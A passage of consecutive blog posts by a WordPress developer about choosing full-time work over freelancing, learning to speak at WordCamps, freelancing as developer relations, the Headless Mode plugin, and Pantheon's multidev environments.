
<p>When pursuing a career with <strong>code</strong>, there are a many options for all the things, leading to decisions you have to make. Including what code languages you will learn, how deeply you&#8217;ll learn them, how you will use them, and what applications you will use.</p>



<p>One of these decisions is whether to go down a full time freelance model, or look for a full time paid role. There is a lot of great content out there for freelancers / contractors.</p>



<p>Check out Sam&#8217;s recent post on <strong><a rel="noreferrer noopener" href="https://blog.sycamore.design/freelancing-tech-industry" target="_blank">Succeeding as a Freelancer.</a></strong> and other posts on his <a rel="noreferrer noopener" href="https://twitter.com/tanoaksam" target="_blank">Twitter</a>, he has been my main source of inspiration when I think about freelance in any tech capacity.</p>



<h2>How I Made My Decision</h2>



<p>My decision came after years of failing to successfully and consistently pay rent. I had tried for a few years to be nothing but freelance and a mix of quality of life improvements as well as rising living costs in California turned it into a hustle I <strong>was not</strong> enjoying. I decided to take on a hybrid (do both) approach, as long as the full time role covered my bills. That was 12 years ago, and haven&#8217;t been solely freelancing since.</p>



<p>My rock bottom came when I was getting eviction notices, and threatened with small claims because a bad project was beginning to get real sour. I needed more consistency to pay for the necessities, and to avoid taking projects just for the money.</p>



<h2>Deciding to Get Hired</h2>



<p>Going full time doesn&#8217;t have to be a nightmare, but it takes time.</p>



<p>You will need to define what key ingredients are needed to make you a successful employee, and what does a company need to offer you to help in that process. </p>



<p><strong>Freedom of Schedule</strong> / <strong>Flex Time</strong> &#8211; This is a huge one for many of us. We want to be able to do what we find ourselves needing to do, without the burden of needing to behind a desk 9am to 5pm every single day. You may think this isn&#8217;t possible when you are hired, but that isn&#8217;t the case everywhere. 2020 has taught us all that we can work from home and we can work around our schedule.</p>



<p><strong>Work Passion</strong> &#8211; It is easier to find projects to excite you when you are working on your own thing, or are excited about your stream of clients.  </p>



<p><strong>Management</strong> &#8211; This is another hard one, are able to effectively work when knowing someone is &#8220;managing&#8221; you?</p>



<p>I&#8217;m more of a free spirit mentality. I never liked the daily grind 9-5, clock in, clock out. Some personalities thrive in a scheduled environment, with lists of tasks to complete. I am not one of those people. I&#8217;m a collaborator and team leader. I work best by myself when there are things I need to learn, and collaboratively to put the pieces together.</p>



<h2>Where to Work</h2>



<p>When are freelance full time, the more you learn the more you can create niches for yourself. For example, maybe you find yourself with an ability to handle SEO</p>



<figure class="wp-block-embed is-type-rich is-provider-twitter wp-block-embed-twitter"><div class="wp-block-embed__wrapper">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">I wrote an article about my favorite topic<br><br>Why WordPress is the best platform for SEO 🙌<a href="https://t.co/x0QyhGaBqe">https://t.co/x0QyhGaBqe</a></p>&mdash; Nat Miletic | natmiletic.eth (@natmiletic) <a href="https://twitter.com/natmiletic/status/1401541230715019266?ref_src=twsrc%5Etfw">June 6, 2021</a></blockquote><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
</div><figcaption>A WordPress SEO freelancer</figcaption></figure>



<p>The same thing happens on the full time side. A &#8220;job&#8221; can be a lot of things, and that stems from where you work. Where do you want to work? What does that company do? Does it really make a difference if you just want a job? YES.</p>



<p>Within WordPress the 2 types of companies that are usually hiring. Agencies, and Product based companies. Each has its own merits, and each takes a unique personality type to thrive.</p>



<h3>Working for a WordPress Agency</h3>



<p>There are many <strong>benefits</strong> to working at an agency. The main advantages of working for almost any WordPress agency include learning, lack of code boredom, &amp; networking.</p>



<h4>Learning</h4>



<p><strong>Learning</strong> is the biggest advantage (imho) of working for a WordPress agency. I have worked for 3 agencies in my career, and each one has allowed me to learn a lot, very quickly. I just finished working a few months at <a rel="noreferrer noopener" href="https://10up.com" data-type="URL" data-id="https://10up.com" target="_blank">10up</a>, and I got quickly learn some new fantastic ways of coding headless WordPress. Since most likely you&#8217;ll end up being moved from project to project, each one will have unique implementations that require thought, research, and execution. There is never a dull moment as even the simple feature requests can turn into larger one-off builds. </p>



<p><strong>Caveat</strong>: Working for larger agencies can put yourself into a situation where you end up working on internal products or projects. These are great for helping build a better service offering.</p>



<h4>Code Boredom</h4>



<p>If you are the type of person that cannot stand staring at the same code day in and day out, an agency is going to be a better fit. While you may get put onto a larger build that spans months, most likely you will also be put on other projects. While I mention the drawbacks of this <strong>task switching</strong>, overall it means there is always something new (or &#8220;something else&#8221;) to work on. </p>



<h4>Networking</h4>



<p>You can <strong>network</strong> at any job you go to. However there is nothing quite like networking within agency. Some of the smartest people I&#8217;ve met in the WordPress realm now work for an agency helping build better service offerings. When I joined <strong>10UP</strong>, I knew almost no one there, but<span style="text-decoration: underline;"></span><span style="text-decoration: underline;"></span><span style="text-decoration: underline;"></span><span style="text-decoration: underline;"></span> slowly got to meet and enjoy talking code with some, which led me into new directions in my own learning. </p>



<p>Just like any role, networking can help you gain traction in your career, but also help you with your current wants / needs. When I told my director at 10UP I wanted to work on some more learning material, we started talking about JavaScript documentation &amp; tutorials to make for the whole company. That was exciting.</p>



<h4>The Grind</h4>



<p>Ultimately the issue I personally have with working for an agency is nothing new, and the reason I left every agency I worked for. I am not a good &#8220;first-time coder&#8221;. That is to say, when a feature request comes up, and there is no code that meets the requirements, I will need to code something from scratch, and the more challenging it is, the less quality my first pass will take.</p>



<p>This isn&#8217;t true of everyone, and something I wish to work on, but my mind focuses more on the deadline, and wants to get something <strong>working</strong> out the door by it, rather than the <strong>best</strong> thing out the door. It comes from a &#8220;something working is better than nothing&#8221; mindset. I can sell a duct tape together solution, I can&#8217;t sell broken. This doesn&#8217;t work so well in agencies when deadlines are a constant. There is always something needing to be done and never enough time to do it. No matter how much scope, discovery, planning, there are always <strong>gotchas</strong> you will never know about, til you do.</p>



<p>Working for any agency means you need to be able to deliver code, that can be approved during review, and ideally its the right code on the first pass. </p>



<h4>Time Tracking</h4>



<p>This isn&#8217;t unique to WordPress agencies, however in my experience always the most apparent. Since at the end of the day, all your time will be billed, it needs to be tracked. Some agencies do this better than others. At 10UP for example, they have overhead time which can be used to track meeting times outside of projects, or admin time. Nothing is lost, and there is a bucket for everything.</p>



<p>As a second note here, I want to add <strong>time management</strong>. This isn&#8217;t  necessarily a drawback, but if you are not good at managing time, and being firm with it, it can be an issue. For example, I have a problem where I work on whatever is <strong>loudest</strong>, and where I can help the most. I will jump when someone asks for help on project I have a lot of experience on, even when timing wise that is not a smart decision. My leads told me to respond with a timing when I can respond, however I find myself constantly in the rabbit hole before I even think about if I should jump in.</p>



<h4>Task Switching</h4>



<p>Again, this isn&#8217;t a unique disadvantage to WordPress agencies, but you will get a lot more of it. <strong>Task switching</strong> is moving between one task to another, or worse, from one project to another. </p>



<p>I have an insanely difficult time with this. What may take someone a few minutes of mental switching, my mind takes forever to jump and be efficient, and the more of these I need to do the worse it gets.</p>



<h3>Working for a WordPress Product</h3>



<p>Working for a product, whether it is a plugin or a SaaS, has its similarities, but there are some key differences I find easier and better for how I work.</p>



<h4>Code Iteration</h4>



<p>Unlike working for an agency, the mentality that something needs to be <strong>the best</strong> it can be, first pass, doesn&#8217;t really exist. It exists, but to an extent that you know you can come back and patch / update it later.</p>



<p><strong>Tech Debt</strong> will always exist anywhere, however being able to come back to a piece of functionality later can be planned into a product&#8217;s lifecycle, while it may not be to when building a WordPress website for a client. </p>



<p>I love and prefer code iteration. I like getting something working, testing it with real world users, then figuring out what I can do to improve it. Improvements can range from adding some basic unit / integration tests, or whole new features. </p>



<h4>Learning Deeply</h4>



<p>When working for an agency, you learn a lot, quickly. However, unless required you end up learning just enough to execute and deliver. When working on a product, you can take a deeper dive into technologies to get better understanding of how it works to better the product.</p>



<p>I first learned <a rel="noreferrer noopener" href="https://nextjs.org/" data-type="URL" data-id="https://nextjs.org/" target="_blank">NextJS</a> to build our next iteration of <a rel="noreferrer noopener" href="https://biztender.io/" data-type="URL" data-id="https://biztender.io/" target="_blank">BizTender</a> and got really into the weeds. I did not need to know things like <strong>/api</strong> was an awesome <a rel="noreferrer noopener" href="https://nextjs.org/docs/api-routes/introduction" data-type="URL" data-id="https://nextjs.org/docs/api-routes/introduction" target="_blank">built in routing feature</a>. However in working with how I could make the next platform better, I researched and learned. While working at <strong>10UP</strong> I worked on a few NextJS projects, 1 included AMP support. The documentation shows full support, but wasn&#8217;t until we implemented (based on docs) did we see it isn&#8217;t actually <strong>fully</strong> <a rel="noreferrer noopener" href="https://github.com/vercel/next.js/issues/7121#issuecomment-487329715" data-type="URL" data-id="https://github.com/vercel/next.js/issues/7121#issuecomment-487329715" target="_blank">supported</a>. So learning how to workaround that for a site needing AMP support was a &#8220;fun&#8221; challenge.</p>



<p>In the end, we got AMP supported through a mix of suggestions and trial &amp; error. Was it the best? Maybe not, but due to tight deadlines, it would have to do. I look forward to spending more time with this now, and hopefully learning the <strong>best</strong> solve for AMP in NextJS for a site like that one.</p>



<h2>A Job Isn&#8217;t For Everyone</h2>



<p>At the end of the day, you will need to make that hard choice between freelance / contracting and a full time role. It is a decision I&#8217;ve flip flopped on my entire career, as I&#8217;ve always enjoyed having a stream of client work on the side of my full time role. </p>



<p>What I enjoy the most is paying my mortgage, paying for groceries, and having health insurance for myself and my family covered. For primarily these reasons, I keep on the job career path. I will forever have ideas and want to work on other projects, and enjoy the freedom to do so because my &#8220;basic&#8221; life expenses are covered.</p>


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Full Time WordPress


<p>Public Speaking.</p>



<p>These 2 words put together can either cause your hair to straighten, and palms sweat OR you shrug it off with confidence. I have yet to meet someone who is indifferent to public speaking, love it or hate it.</p>



<p>This is my story of going from someone who could not muster the courage to talk to anyone, to being confident enough in my skills and myself to stand up in front of a large group to speak. </p>



<p>Before you get the wrong impression of me, I still get nervous every time, I still usually keep myself in denial till the very last minute, and sometimes it shows.</p>



<h2>The First Time is the Hardest</h2>



<p>The first time I spoke to a group (outside of school) of larger than 10 was WordCamp LAX 2014. <a rel="noreferrer noopener" href="https://twitter.com/alexjvasquez" target="_blank">Alex Vasquez</a> with great hair of <a rel="noreferrer noopener" href="https://digisavvy.com/" target="_blank">DigiSavvy</a> convinced me to apply to this WordCamp he was organizing and that my content could be seen of value. He had already convinced me to go to a meetup or two and discuss development there, so how could the hair steer me wrong? </p>



<div class="wp-block-image"><figure class="aligncenter size-large"><a href="https://la.wordcamp.org/2014/session/wordpress-as-an-application-framework/" target="_blank" rel="noopener"><img decoding="async" loading="lazy" width="1024" height="510" src="https://arcctrl.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-19-at-11.34.02-PM-1024x510.png" alt="WordCamp LAX 2014 screenshot of my talk" class="wp-image-2845" srcset="https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-19-at-11.34.02-PM-1024x510.png 1024w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-19-at-11.34.02-PM-300x150.png 300w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-19-at-11.34.02-PM-768x383.png 768w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-19-at-11.34.02-PM-1536x766.png 1536w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-19-at-11.34.02-PM-1568x782.png 1568w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-19-at-11.34.02-PM.png 1573w" sizes="(max-width: 1024px) 100vw, 1024px" /></a><figcaption>The site is <a href="https://la.wordcamp.org/2014/session/wordpress-as-an-application-framework/" target="_blank" rel="noreferrer noopener">still live</a>, there is my talk.</figcaption></figure></div>



<h3>A Nervous Wreck</h3>



<p>To say butterflies in my stomach would be an understatement to what my stomach was doing. I was a ball of nerves wanting to both cry and run out of the WordCamp to never be seen again. Hindsight, maybe I should have?</p>



<p>I don&#8217;t remember who gave me what advice, but in the weeks and even minutes leading up to my first talk, I asked for any piece of advice I could give about speaking in front of a group. Here are the ones I remember, and used:</p>



<ul><li>When you start to feel losing control, focus on your feet touching the floor, it will literally ground you</li><li>Try to get a good read of the room as you are talking, if you find yourself fixating on certain people, look at the back wall just above everyone&#8217;s head</li><li>Don&#8217;t worry, you&#8217;ll do great</li></ul>



<p>I don&#8217;t remember what else was said, but I do remember I added 1 more thing, and honestly the reception made it for me</p>



<p>As I stood up there, first time, I told the whole audience (last session of a Saturday, kinda packed) that it was my first time speaking, and I was beyond nervous. The WordPress community, being the WordPress community it was, gave me the biggest cheer and applause, and I hadn&#8217;t even said what the name of my talk was yet. It immediately resonated into my core, and while I did have to use the mentioned advice, it was way easier and a lot of the nerves vanished.</p>



<figure class="wp-block-pullquote"><blockquote><p>The WordPress community, being the WordPress community it was, gave me the biggest cheer and applause</p><cite>Brutal honesty has its perks</cite></blockquote></figure>



<p>To this day, I am a ball of nerves up till the moment I start talking. It all goes away, part of me knows its because its too late and nothing I can do about it, but part of me always ALWAYS thinks back to that first time and how receptive that were there to hear me talk, were.</p>



<p>Last thing I&#8217;ll say about that first time. It was the most prepared I was for a WordCamp talk, ever. Don&#8217;t be as stupid as me, prepare, it&#8217;ll help. The more prepared the more the knowledge of your talk you&#8217;ll have so it doesn&#8217;t become a thing. Nothing sucks more than not knowing what the next slide is or what you were going to say.</p>



<h2>Want to Improve Your Delivery? Focus on Delivery</h2>



<p>After that first talk and the feedback, I knew I had some interesting content to share. People were receptive, and individuals in the audience that knew what I was talking about asked me many questions.</p>



<p><em>Fun Fact: My future first bosses at Disney were in that audience, and it played a role in me starting my Disney career. I still blame Alex.</em></p>



<p>The one thing I did not do well was delivery. As I scanned the audience I saw a lot of blank stares. I learned later that this also comes from dense material, which most developer talks are. I knew I did not like that, I needed more engagement.</p>



<h3>Give the same talk with iteration</h3>



<p>Over the next year or so I gave the same talk around the US and Canada, each time improving the slides. This allowed me to focus on delivery and increasing engagement. Tweaking the content slightly, but overall giving the same talk to new audiences. I imagine this iteration is similar to stand up comedians methodologies. Start with something, see if it works. If it does, make it better while improving how it engages with the audience.</p>



<figure class="wp-block-pullquote"><blockquote><p>Make it better while improving how it engages with the audience</p></blockquote></figure>



<p>Me being me, I also added in fun bits to my talks, I knew if I was going to give deeper talks that required focused, the best way to break it up is laughter.</p>



<figure class="wp-block-embed is-type-video is-provider-wordpress-tv wp-block-embed-wordpress-tv wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe title="VideoPress Video Player" aria-label='VideoPress Video Player' width='500' height='281' src='https://video.wordpress.com/embed/4JglXgBY?hd=1&amp;cover=1' frameborder='0' allowfullscreen allow='clipboard-write'></iframe><script src='https://v0.wordpress.com/js/next/videopress-iframe.js?m=1658470809'></script>
</div><figcaption>#WordCatMTL 2016</figcaption></figure>



<p>By WordCamp Montreal 2016 I and some fellow presenters included things like #WordCatMTL or KittyCount. We injected cats into our slides and the one with with the most would win the respect of cats around the world.</p>



<figure class="wp-block-image size-large"><img decoding="async" loading="lazy" width="1024" height="501" src="https://arcctrl.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-19-at-11.56.44-PM-1024x501.png" alt="WordCamp Montreal 2017 WordCat slide" class="wp-image-2846" srcset="https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-19-at-11.56.44-PM-1024x501.png 1024w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-19-at-11.56.44-PM-300x147.png 300w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-19-at-11.56.44-PM-768x376.png 768w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-19-at-11.56.44-PM.png 1331w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>From WordCamp Montreal 2017</figcaption></figure>



<p>I think WordCamp 2016 was the last iteration of that talk, and it had evolved into a REST API justification (at the time a controversial topic)</p>



<h3>Find the Delivery that Matches You</h3>



<p>As mentioned, my delivery became inserting humor, jokes, memes, and other fun things into my talks. This broke up the more in depths part of my talk, and was true to me.</p>



<p>Find what you do best and find how to use that in your delivery. It can be humor, or it can be some piece of storytelling. Some presenters like to use personal stories to explain their point, which ultimately helps with the delivery of the content. I actually tried this way of delivery in 2019 (my last talk) about WordPress in the enterprise. This was the first time I did it, and I don&#8217;t think I did it well, but I&#8217;m going to keep on trying. </p>



<h2>Repeat</h2>



<p>Once you have a better understanding, if not a full understanding, of how you best deliver content, repeat.</p>



<p>Start with a new topic, go try it out somewhere like a meetup in a small setting and see what resonates. It doesn&#8217;t? switch it up. You can give the same talk multiple times, with some changes to the content, but bigger changes to how you deliver it.</p>



<h2>Don&#8217;t Expect Perfection</h2>



<p>No matter how many hours you put into your slides, or the research before you make your slides, or the research you put into thinking of a talk to submit, you&#8217;ll know its not perfect. The beauty, only you will know that.</p>



<p>In one of my earlier talks, I skipped whole sections of my content because my nerves. I was talking too fast and couldn&#8217;t get a hold of myself. It was so bad of the 40-50 min.  time slot, I used 20 for my talk. That left about half the time for Q&amp;A which typically only lasts 5-10 min. I was ready to let everyone out early, but questions starting popping up, and an actual conversation started. I think it was about Angular vs. React in use with WordPress REST. It was a good conversation that was tangentially related to my talk. People really appreciated the time to ask questions and have that conversation. </p>



<p>No one knew I skipped a bunch of content.</p>



<p>The only person that cared, was me.</p>



<h2>Closing Remarks</h2>



<p>At the end of the day, public speaking is not for everyone. If you told me in 2013 I&#8217;d love getting up there to talk to a group of 50+ people, I would have laughed. So don&#8217;t push yourself to do something you will never be comfortable doing, it isn&#8217;t worth it.</p>



<p>If you are finding that itch, and you want to speak and enjoy it, try to focus on 1 thing at a time.</p>



<p>When in doubt, Hero Pose.</p>



<p></p>


Public Speaking: Nervous Wreck to Slightly Less Nervous Wreck


<p>When I started hearing about <strong>#DevRel</strong> I was intrigued. The opportunity to be able to not be in sales, but also the opportunity to use cool tech and teach others how to use cool tech. This is up my ally 100%.</p>



<p>It was about this time I was being asked by my friend <a rel="noreferrer noopener" href="https://www.devocate.com/" target="_blank">Tessa</a> if I&#8217;d like to join a group she was putting together for <a rel="noreferrer noopener" href="https://hiroy.io/tools/why-i-still-love-pantheon" data-type="post" target="_blank">Pantheon</a>, called <a href="https://pantheon.io/blog/pantheon-heroes-community-leaders-open-source-contributions-and-lovers-pantheon">Heroes</a>. I was sold. I had no idea it was #DevRel, Tessa never once said DevRel to me, she just saw my passion for using Pantheon and how I showed my appreciation (through trolling, as I do).</p>



<p>Aside &#8211; Tessa is one of the best DevRels there is out there, for every product she has been a community lead at, she has shown professionalism and got me as excited about it as she was. But more on that in another post series.</p>



<h2>What is DevRel</h2>



<p>Developer Relations, Developer Advocacy, or one of the other many terms you may hear, is something I&#8217;m in no way qualified to define.</p>



<p>So let me introduce <a href="https://twitter.com/tanoaksam" target="_blank" rel="noreferrer noopener">Sam</a>, a newer developer who has gained my respect, and respect of many in the communities he associates.</p>



<figure class="wp-block-embed is-type-rich is-provider-twitter wp-block-embed-twitter"><div class="wp-block-embed__wrapper">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">What does a great developer advocate do? 🤔<br><br>🗣️ acts as the voice of the end user in internal discussions<br><br>📑 creates supplemental resources to educate users on the product &amp; optimize their experience<br><br>🤝 cultivates professional relationships on behalf of the company<br><br>What else?</p>&mdash; Sam Sycamore 🌲 (@tanoaksam) <a href="https://twitter.com/tanoaksam/status/1389345145712123905?ref_src=twsrc%5Etfw">May 3, 2021</a></blockquote><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
</div><figcaption>This is what a developer advocate does.</figcaption></figure>



<p>Everything in Sam&#8217;s tweet (and more) is exactly right, and the stuff I love working towards and on. I am at heart a creative coder. My sweet spot is when I have the opportunity to look at requirements and kind of let loose on how its coded. Another part of me loves technology in all its forms, and talking about those technologies. It is why I love speaking at <a href="https://wordpress.tv/?s=roy+sivan">WordCamps</a> and learning what tech is being used, and how to build cool and fun stuff.</p>



<p>But back to Sam&#8217;s tweet. Before Tessa introduced me to Heroes, I was doing most of this already for Pantheon. I loved the product, talked about it, told people to go sign up without an affiliate link (shocker, I know), and talked about the projects I was working on using Pantheon. I even created Pantheon &#8220;Custom Upstreams&#8221; so people could easily take my work and start coding with it, on Pantheon.</p>



<p>I wrote <a rel="noreferrer noopener" href="https://pantheon.io/guest-author/roy-sivan" target="_blank">blog articles</a> about what I knew best, and tied that into Pantheon since their product offering supported the things I wanted to be working on so well. Enterprise sizes requests needed enterprise grade hosting, it was easy. It was also easy to share my passion for the product as someone who was using it passionately themselves.</p>



<p>So that is where I started DevRel. Good story, right?</p>



<h2>I Started in DevRel at Pantheon</h2>



<p>No, and my answer would have been yes, but today Sam (again) tweeted something that I never thought applied to me.</p>



<figure class="wp-block-embed is-type-rich is-provider-twitter wp-block-embed-twitter"><div class="wp-block-embed__wrapper">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">I’ve had so many convos like this but comparing personal freelance brand vs. personal<br><br>Does that mean every freelancer that posts and markets themselves. Is also a dev advocate? 🤔 <br><br>have I been one this entire time? 🤔 🤔 <a href="https://t.co/GBnMtihJbQ">https://t.co/GBnMtihJbQ</a></p>&mdash; 🟣☮ Roy (@royboy789) <a href="https://twitter.com/royboy789/status/1394762784500498439?ref_src=twsrc%5Etfw">May 18, 2021</a></blockquote><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
</div><figcaption>Personal Freelance is DevRel</figcaption></figure>



<p>Literally, if I wrote this blog post 2 days ago, I would have a different answer.</p>



<h3>Freelancing is DevRel</h3>



<p>When I was doing strictly freelance, or actively taking on freelance consulting work, I&#8217;d go to WordCamps and let people know. I&#8217;d write <a rel="noreferrer noopener" href="https://github.com/royboy789/" target="_blank">open source plugins</a> I&#8217;d think were cool or being used, and talk and write about them.</p>



<p>I was doing the 3 things Sam said a DevRel does, years before I had even heard the term. I was writing code, writing articles, and creating relationships for my business, for myself.</p>



<p>If you aren&#8217;t doing the 3 things outlined by Sam for your developer freelance business, you should be. You as a freelancer are your main, if not only advocate. Get out there and let people know you exist.</p>



<h2>Where I Go Next</h2>



<p>As the DevRel talent pool has gotten exponentially larger over the last year, it is hard to say. While I&#8217;d love to give up my full time &#8220;coding 9-5&#8221; type role, I am also passionate about that code, and those technologies I use.</p>



<p>However it is defintitely something I&#8217;m going to keep getting better at through advocating of my own. Advocating for tools, products, and services that I find the most useful for my daily life. </p>



<p>If you are reading this expecting advice for how to get into DevRel or how I made my big break, sorry. Go follow <a rel="noreferrer noopener" href="https://twitter.com/tessak22" target="_blank">Tessa</a> and <a href="https://twitter.com/tanoaksam" target="_blank" rel="noreferrer noopener">Sam</a>.</p>


Where I Started My DevRel Journey


<p>I have been talking about building headless sites since 2014, my first WordCamp talk was about Angular, and using it to build a headless &#8220;theme&#8221;</p>



<figure class="wp-block-embed is-type-video is-provider-wordpress-tv wp-block-embed-wordpress-tv wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe width='500' height='281' src='https://video.wordpress.com/embed/99I0IsZz?hd=1' frameborder='0' allowfullscreen></iframe><script src='https://v0.wordpress.com/js/next/videopress-iframe.js?m=1435166243'></script>
</div><figcaption>Here is a similar talk (consider it v1.1) I gave at WordCamp Miami in 2015</figcaption></figure>



<h2>Headless in 2021</h2>



<p>The landscape of building headless WordPress websites has shifted. Shifted isn&#8217;t not strong enough of a word. The Headless WordPress community has boomed, and so has the technologies to run and power Headless WordPress.</p>



<p>Soon I&#8217;ll be starting a series on looking at the biggest frameworks that are being used for headless WordPress and doing a deeper dive / comparison, however I want to take a moment to talk about the WordPress side. </p>



<p>Before I choose with API I will be using for the project (I use both REST and GraphQL depending on application), I install <a rel="noreferrer noopener" href="https://wordpress.org/plugins/headless-mode/" target="_blank">Headless Mode</a>.</p>



<h2>What does Headless Mode do?</h2>



<p>When you are running a true headless WordPress website, the main &#8220;theme&#8221; or output of that WordPress site becomes irrelevant. There are some edge cases here, for example if you are only serving data vs. content via your WordPress site&#8217;s API.</p>



<p>For a typical headless site, I would assume the site face (AKA the theme) would be somewhere else, probably coded in some fancy JavaScripts. This is where &#8220;Headless Mode&#8221; comes in. With a simple configuration and 1 line of PHP, no one will be able to access the WordPress site&#8217;s &#8220;theme&#8221; layer. Instead anyone trying to access your WordPress site via non-admin URLs will be redirected to a URL of your choosing.</p>



<figure class="wp-block-image size-full"><img decoding="async" loading="lazy" width="1011" height="211" src="https://arcctrl.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-15-at-9.47.56-PM.png" alt="Headless Mode Admin, already ready for me." class="wp-image-2822" srcset="https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-15-at-9.47.56-PM.png 1011w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-15-at-9.47.56-PM-300x63.png 300w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-15-at-9.47.56-PM-768x160.png 768w" sizes="(max-width: 1011px) 100vw, 1011px" /></figure>



<p>The best part of it? Their documentation almost had my domain ready to go! </p>



<h2>Effects on site visitors</h2>



<p>You are currently reading this on some variation of hiroy domain (future proofing sentence), while I&#8217;m currently not disclosing the URL of the WordPress website, if you go there, you&#8217;d be redirected right back here.</p>



<p>Did you notice?</p>



<p></p>



<p>If you are migrating to a new headless build from an existing WordPress website and wish to utilize this plugin, make sure you consult with an SEO specialist about creating proper redirects to not lose out on that SEO juice.</p>



<figure class="wp-block-image size-large"><img decoding="async" loading="lazy" width="268" height="138" src="https://arcctrl.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-15-at-10.15.55-PM.png" alt="" class="wp-image-2825"/></figure>



<p>Also, make sure that when you put in the PHP code defining the value of <strong>HEADLESS_MODE_CLIENT_URL</strong> that you use an existing URL that loads properly. You don&#8217;t want your visitors end up in an infinite loop, or going to a site you do not own by mistake.</p>



<p>Overall, I would not start any traditional (in my mind) headless WordPress build without this plugin, because it makes a task I&#8217;d probably forget about or overlook, very easy.</p>



<p>Please go check out <a rel="noreferrer noopener" href="https://wordpress.org/plugins/headless-mode/" target="_blank">Headless Mode</a> and don&#8217;t forget to wish <a href="https://twitter.com/benUNC" target="_blank" rel="noreferrer noopener">Ben</a> a Happy Birthday!</p>


Headless without Headless Mode? Don’t be crazy.


<p>I&#8217;ve never been shy to show my love for <a href="https://pantheon.io/">Pantheon</a>, when I first met <a href="https://twitter.com/outlandishjosh" target="_blank" rel="noreferrer noopener">Josh K</a>. at WordCamp San Francisco 2014 and we started talking about <strong>Headless</strong> CMS&#8217;s, I was open to hearing about his hosting company. I&#8217;ll admit, at first I didn&#8217;t see the need and thought it was way over my skills / need. Overkill for the random WordPress clients I had that were fine with their SFTP to production and git for backup.</p>



<h2>Git Workflow</h2>



<p>It was a little while later that I dipped my toe into full GIT controlled workflow and deployment using <a href="https://www.deployhq.com/">DeployHQ</a>, a way to turn git into SFTP, so I could still keep my dev workflow, but push to SFTP on deploy. </p>



<p>I leveled up my git 1 more time when I forced myself to follow feature branches, even within my own personal blogs. I still <strong>try</strong> to keep up with this, but do admit its easy to let go when you are solo-dev&#8217;ing something.</p>



<p>Hosting wise I was using a mix of Dreamhost, WPEngine, and DigitalOcean with ServerPilot. This all worked well for me and I had no issues using these mixes and DeployHQ.</p>



<h2>Environments</h2>



<p>Fast forward to WordCamp Orange county 20 something something. I once again am finding myself having an interesting conversation with <a rel="noreferrer noopener" href="https://twitter.com/outlandishjosh" target="_blank">Josh K.</a> about environments. We were chatting about the state of local, and how all these local setups (then VVV) were working so hard to give you the same environment, locally. </p>



<p>This sounds great, right? </p>



<p>Josh asked me a question I don&#8217;t remember, but it was something like: If you could spin up and have a stable environment that isn&#8217;t local, would you be as worried about having that matching environment? Is there a need?</p>



<p>Honestly, the answer is no. When I am on my computer writing code, the last thing I want to worry about is if my local environment matching the production which I am not working on. I want to be able to spin up and easily see what is happening and not even care about my local environment. I want to code, and be efficient as I can about it.</p>



<p>Josh&#8217;s answer was what Pantheon calls <a rel="noreferrer noopener" href="https://pantheon.io/docs/multidev" target="_blank">Multi-dev</a>. To put it simply, create a git feature branch, have an environment that is identical to prod (or dev) and all you have to do is push code to it. So why do I need to have another copy of that locally if I already have a local setup I work well with?</p>



<figure class="wp-block-image alignfull size-large"><img decoding="async" loading="lazy" width="1024" height="287" src="https://arcctrl.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-12-at-10.32.45-PM-1024x287.png" alt="Pantheon Multidev" class="wp-image-2814" srcset="https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-12-at-10.32.45-PM-1024x287.png 1024w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-12-at-10.32.45-PM-300x84.png 300w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-12-at-10.32.45-PM-768x215.png 768w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-12-at-10.32.45-PM-1536x431.png 1536w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-12-at-10.32.45-PM-1568x440.png 1568w, https://roysivan.com/wp-content/uploads/2021/05/Screen-Shot-2021-05-12-at-10.32.45-PM.png 1772w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Now in 2021, in the age of <strong>headless</strong>, like this one, can be SUPER impactful. I can spin up a new environment and create a new REST API endpoints or GraphQL query isolated to that environment. When working locally I point to that instance and can work on the feature I want to build. For those keeping track that is 2 feature branches talking to each other, completely isolated from production.</p>



<p>The best part of multidev? Once you are done and happy with your feature, or bug fix, just merge it in and it goes to develop. <strong>EASY!</strong></p>



<h2>Headless WordPress Support</h2>



<p>Since headless WordPress (or any other CMS) has become so popular nowadays, and hosts even offering tailored <a rel="noreferrer noopener" href="https://wpengine.com/atlas" target="_blank">headless solutions</a>, is Pantheon good for headless?</p>



<p>The answer is, yes, but not in a traditional way.</p>



